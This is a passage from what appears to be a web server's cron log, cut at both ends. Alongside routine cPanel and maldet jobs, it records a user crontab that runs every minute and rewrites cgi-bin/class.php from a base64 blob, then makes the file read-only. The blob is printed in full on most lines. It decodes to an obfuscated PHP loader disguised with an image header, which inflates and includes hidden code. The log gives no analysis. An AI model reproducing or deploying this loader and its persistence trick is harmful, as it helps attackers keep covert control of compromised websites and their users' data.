rzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:32:01 server CROND[10068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:33:01 server CROND[10135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:34:01 server CROND[10203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:35:01 server CROND[10380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:35:01 server CROND[10382]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 21:35:01 server CROND[10379]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 21:35:01 server CROND[10383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:35:01 server CROND[10381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:36:01 server CROND[10660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:37:01 server CROND[10732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:38:01 server CROND[10813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:39:01 server CROND[10883]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 21:39:01 server CROND[10884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:40:01 server CROND[11050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:40:01 server CROND[11051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:40:01 server CROND[11052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:40:01 server CROND[11053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:41:01 server CROND[11172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:42:01 server CROND[11238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:42:01 server CROND[11237]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 21:43:01 server CROND[11299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:44:01 server CROND[11381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:45:01 server CROND[11537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:45:01 server CROND[11538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 